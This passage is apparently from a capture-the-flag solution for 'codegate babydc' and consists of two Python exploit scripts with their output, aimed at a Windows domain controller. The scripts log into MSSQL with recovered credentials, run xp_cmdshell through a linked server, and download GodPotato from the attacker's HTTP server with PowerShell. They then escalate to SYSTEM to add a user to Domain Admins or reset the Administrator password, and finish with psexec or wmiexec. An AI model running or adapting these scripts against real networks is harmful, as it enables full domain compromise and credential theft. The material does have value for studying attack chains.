        return self.run_query(query)
82

83

84
def print_rows(title: str, rows) -> None:
85
    print(f"\n=== {title} ===")
86
    if not rows:
87
        print("(no rows)")
88
        return
89
    for row in rows:
90
        print(row)
91

92

93
def ensure_psexec() -> str:
94
    candidates = [
95
        shutil.which("psexec.py"),
96
        str(Path(sys.executable).with_name("psexec.py")),
97
        str(Path(sys.executable).resolve().parent.parent / "Scripts" / "psexec.py"),
98
    ]
99
    for candidate in candidates:
100
        if candidate and Path(candidate).exists():
101
            return candidate
102
    raise FileNotFoundError("psexec.py not found in PATH or next to the current Python installation.")
103

104

105
def main() -> int:
106
    parser = argparse.ArgumentParser(description="Exploit for codegate babydc.")
107
    parser.add_argument("--target", default="192.168.124.7")
108
    parser.add_argument("--sql-user", default="wuwupor")
109
    parser.add_argument("--sql-password", default="lovlyBaby")
110
    parser.add_argument("--domain", default="XMCVE")
111
    parser.add_argument("--pivot-user", default="sqlsvc")
112
    parser.add_argument("--pivot-password", default="Sql!2026")
113
    parser.add_argument("--command", default="cmd.exe", help="Command passed to psexec after sqlsvc becomes Domain Admin.")
114
    args = parser.parse_args()
115

116
    base_dir = Path(__file__).resolve().parent
117
    godpotato = base_dir / "GodPotato.exe"
118
    if not godpotato.exists():
119
        raise FileNotFoundError(f"Missing helper: {godpotato}")
120

121
    target_ip = args.target
122
    local_ip = get_local_ip_for_target(target_ip)
123
    print(f"[+] target: {target_ip}")
124
    print(f"[+] local callback IP: {local_ip}")
125

126
    sql = MSSQLExploit(target_ip, args.sql_user, args.sql_password)
127
    try:
128
        print_rows(
129
            "linked server context",
130
            sql.run_query(
131
                "EXEC ('SELECT @@SERVERNAME AS server_name, SYSTEM_USER AS current_login, "
132
                "IS_SRVROLEMEMBER(''sysadmin'') AS is_sysadmin') AT POO_PUBLIC"
133
            ),
134
        )
135
        print_rows("xp_cmdshell identity", sql.xp_cmdshell_via_public("whoami /priv"))
136

137
        with serve_directory(base_dir, "0.0.0.0") as port:
138
            download_cmd = (
139
                'powershell -c "try {(New-Object Net.WebClient).DownloadFile('
140
                f"'http://{local_ip}:{port}/{godpotato.name}',"
141
                "'C:\\Windows\\Temp\\GodPotato.exe');"
142
                'Write-Output OK} catch { Write-Output $_.Exception.Message }"'
143
            )
144
            print_rows("download helper", sql.xp_cmdshell_via_public(download_cmd))
145
            print_rows(
146
                "helper presence",
147
                sql.xp_cmdshell_via_public(
148
                    'powershell -c "Get-Item \'C:\\Windows\\Temp\\GodPotato.exe\' | '
149
                    'Select-Object Name,Length | Format-List"'
150
                ),
151
            )
152

153
        add_group_cmd = (
154
            'C:\\Windows\\Temp\\GodPotato.exe -cmd '
155
            f'"cmd /c net group \\"Domain Admins\\" {args.pivot_user} /add /domain"'
156
        )
157
        print_rows("godpotato group add", sql.xp_cmdshell_via_public(add_group_cmd))
158
        time.sleep(2)
159
    finally:
160
        sql.close()
161

162
    psexec = ensure_psexec()
163
    user_spec = f"{args.domain}/{args.pivot_user}:{args.pivot_password}@{target_ip}"
164
    cmd = [sys.executable, psexec, user_spec, args.command]
165
    print(f"[+] launching psexec: {' '.join(cmd)}")
166
    return subprocess.call(cmd)
167

168

169
if __name__ == "__main__":
170
    raise SystemExit(main())

1
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
2
[*] Start Search System Token
3
[*] PID : 804 Token:0x800  User: NT AUTHORITY\SYSTEM
4
[*] Find System Token : True
5
[*] CurrentUser: NT AUTHORITY\SYSTEM
6
[*] process start with pid ...
7
The command completed successfully.

1
python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 whoami
2
python wmiexec.py XMCVE/Administrator:Xmctf2026Aa@169.254.212.20 hostname

1
xmcve\administrator
2
CASTLEVANIA

1
from __future__ import annotations
2

3
import subprocess
4
import sys
5
import threading
6
from dataclasses import dataclass
7
from http.server import SimpleHTTPRequestHandler, ThreadingHTTPServer
8
from pathlib import Path
9

10
from impacket import tds
11

12

13
TARGET_IP = "169.254.212.20"
14
HOST_HTTP_IP = "169.254.212.1"
15
HOST_HTTP_PORT = 8000
16

17
SQL_USER = "wuwupor"
18
SQL_PASS = "lovlyBaby"
19
NEW_ADMIN_PASS = "Xmctf2026Aa"
20

21

22
@dataclass
23
class HttpServerContext:
24
    server: ThreadingHTTPServer
25
    thread: threading.Thread
26

27
    def close(self) -> None:
28
        self.server.shutdown()
29
        self.server.server_close()
30
        self.thread.join(timeout=3)
31

32

33
class QuietHandler(SimpleHTTPRequestHandler):
34
    def log_message(self, format: str, *args) -> None:  # noqa: A003
35
        return
36

37

38
def start_http_server(directory: Path) -> HttpServerContext:
39
    handler = lambda *args, **kwargs: QuietHandler(*args, directory=str(directory), **kwargs)
40
    server = ThreadingHTTPServer((HOST_HTTP_IP, HOST_HTTP_PORT), handler)
41
    thread = threading.Thread(target=server.serve_forever, daemon=True)
42
    thread.start()
43
    return HttpServerContext(server=server, thread=thread)
44

45

46
def sql_connect() -> tds.MSSQL:
47
    mssql = tds.MSSQL(TARGET_IP, 1433)
48
    mssql.connect()
49
    ok = mssql.login(None, SQL_USER, SQL_PASS, None, None, useWindowsAuth=False)
50
    if not ok:
51
        raise RuntimeError("failed to log into MSSQL with recovered credentials")
52
    return mssql
53

54

55
def exec_via_public(mssql: tds.MSSQL, command: str) -> list[str]:
56
    sql = "exec ('exec master..xp_cmdshell ''%s''') at POO_PUBLIC" % command.replace("'", "''")
57
    mssql.sql_query(sql)
58
    return [row["output"] for row in getattr(mssql, "rows", []) if row.get("output") != "NULL"]
59

60

61
def verify_admin_shell() -> str:
62
    script = Path(sys.executable).parent / "Scripts" / "wmiexec.py"
63
    if not script.exists():
64
        script = Path(r"C:\Users\25478\AppData\Roaming\Python\Python314\Scripts\wmiexec.py")
65
    cmd = [
66
        sys.executable,
67
        str(script),
68
        f"XMCVE/Administrator:{NEW_ADMIN_PASS}@{TARGET_IP}",
69
        "whoami",
70
    ]
71
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=120, check=True)
72
    return result.stdout
73

74

75
def main() -> int:
76
    base_dir = Path(__file__).resolve().parent
77
    godpotato = base_dir / "GodPotato-NET4.exe"
78
    if not godpotato.exists():
79
        raise FileNotFoundError(f"missing {godpotato}")
80

81
    http_ctx = start_http_server(base_dir)
82
    try:
83
        mssql = sql_connect()
84
        try:
85
            steps = [
86
                (
87
                    "download GodPotato",
88
                    f'powershell -nop -c "iwr -UseBasicParsing http://{HOST_HTTP_IP}:{HOST_HTTP_PORT}/{godpotato.name} '
89
                    f'-OutFile C:\\Windows\\Temp\\{godpotato.name}"',
90
                ),
91
                (
92
                    "reset Administrator password via SYSTEM",
93
                    f'C:\\Windows\\Temp\\{godpotato.name} -cmd "cmd /c net user Administrator {NEW_ADMIN_PASS} /domain"',
94
                ),
95
                ("show Administrator account", "net user Administrator /domain"),
96
            ]
97

98
            for title, command in steps:
99
                print(f"[+] {title}")
100
                for line in exec_via_public(mssql, command):
101
                    print(line)
102
                print()
103
        finally:
104
            mssql.disconnect()
105

106
        print("[+] verifying Administrator shell with wmiexec")
107
        print(verify_admin_shell())
108
        return 0
109
    finally:
110
        http_ctx.close()
111

112

113
if __name__ == "__main__":
114
    raise SystemExit(main())